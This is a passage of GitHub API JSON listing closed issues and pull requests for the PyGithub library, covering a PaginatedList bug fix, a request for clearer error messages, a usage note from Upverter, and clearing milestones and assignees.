,"color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":2,"created_at":"2013-01-27T22:39:17Z","updated_at":"2013-01-29T17:56:14Z","closed_at":"2013-01-29T17:56:14Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/133","diff_url":"https://github.com/jacquev6/PyGithub/pull/133.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/133.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"* if firstParams was None, PaginatedList was calling dict(None)\r\n which fails with a TypeError. If firstParams is None, just use\r\n an empty tuple, which dict() handles properly"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/24/events","html_url":"https://github.com/jacquev6/PyGithub/issues/24","id":4356743,"number":24,"title":"Improve error messages on broken requests","user":{"login":"roskakori","id":328726,"avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","url":"https://api.github.com/users/roskakori","html_url":"https://github.com/roskakori","followers_url":"https://api.github.com/users/roskakori/followers","following_url":"https://api.github.com/users/roskakori/following{/other_user}","gists_url":"https://api.github.com/users/roskakori/gists{/gist_id}","starred_url":"https://api.github.com/users/roskakori/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roskakori/subscriptions","organizations_url":"https://api.github.com/users/roskakori/orgs","repos_url":"https://api.github.com/users/roskakori/repos","events_url":"https://api.github.com/users/roskakori/events{/privacy}","received_events_url":"https://api.github.com/users/roskakori/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2/labels","id":93547,"number":2,"title":"Version 1.0: coherent public interface","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":19,"state":"closed","created_at":"2012-03-08T12:22:28Z","updated_at":"2012-06-03T19:56:17Z","due_on":"2012-06-04T07:00:00Z"},"comments":3,"created_at":"2012-04-30T20:01:20Z","updated_at":"2012-05-30T19:58:35Z","closed_at":"2012-05-30T19:58:35Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/63","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/63/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/63/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/63/events","html_url":"https://github.com/jacquev6/PyGithub/issues/63","id":6583381,"number":63,"title":"PyGithub on Upverter","user":{"login":"malexw","id":577322,"avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","url":"https://api.github.com/users/malexw","html_url":"https://github.com/malexw","followers_url":"https://api.github.com/users/malexw/followers","following_url":"https://api.github.com/users/malexw/following{/other_user}","gists_url":"https://api.github.com/users/malexw/gists{/gist_id}","starred_url":"https://api.github.com/users/malexw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/malexw/subscriptions","organizations_url":"https://api.github.com/users/malexw/orgs","repos_url":"https://api.github.com/users/malexw/repos","events_url":"https://api.github.com/users/malexw/events{/privacy}","received_events_url":"https://api.github.com/users/malexw/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/9/labels","id":164586,"number":9,"title":"Version 1.5","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-08-23T07:44:21Z","updated_at":"2012-09-05T17:56:28Z","due_on":"2012-09-06T07:00:00Z"},"comments":3,"created_at":"2012-08-31T16:36:04Z","updated_at":"2012-09-05T17:11:47Z","closed_at":"2012-09-05T17:11:47Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi Vincent, I wanted to let you know that we've started using PyGithub over at Upverter. You can see an example of it in action here: https://upverter.com/JBionics/a07fd2563a253ccf/Programmable-RC-Car-Controller-Arduino-Shield/\n\nUpverter is a web-based schematic capture and PCB layout tool for people who design electronics. Like github, it's free for anyone to use as long as they publish their designs with an open-source license. We let designers attach a github project to an Upverter project, and use PyGithub to pull in some basic stats about the project (including a README file), and show them on the project's main page.\n\nCheers,\nAlex"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/74","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/74/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/74/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/74/events","html_url":"https://github.com/jacquev6/PyGithub/issues/74","id":6751469,"number":74,"title":"Support clearing of issue milestone and assignee","user":{"login":"quixotique","id":1477470,"avatar_url":"https://secure.gravatar.com/avatar/806d200fb8f92bd618cc7063a3b62013?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"806d200fb8f92bd618cc7063a3b62013","url":"https://api.github.com/users/quixotique","html_url":"https://github.com/quixotique","followers_url":"https://api.github.com/users/quixotique/followers","following_url":"https://api.github.com/users/quixotique/following{/other_user}","gists_url":"https://api.github.com/users/quixotique/gists{/gist_id}","starred_url":"https://api.github.com/users/quixotique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quixotique/subscriptions","organizations_url":"https://api.github.com/users/quixotique/orgs","repos_url":"https://api.github.com/users/quixotique/repos","events_url":"https://api.github.com/users/quixotique/events{/privacy}","received_events_url":"https://api.github.com/users/quixotique/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":3,"created_at":"2012-09-10T00:42:24Z","updated_at":"2012-09-12T02:36:43Z","closed_at":"2012-09-11T18:55:30Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/74","diff_url":"https://github.com/jacquev6/PyGithub/pull/74.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/74.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API 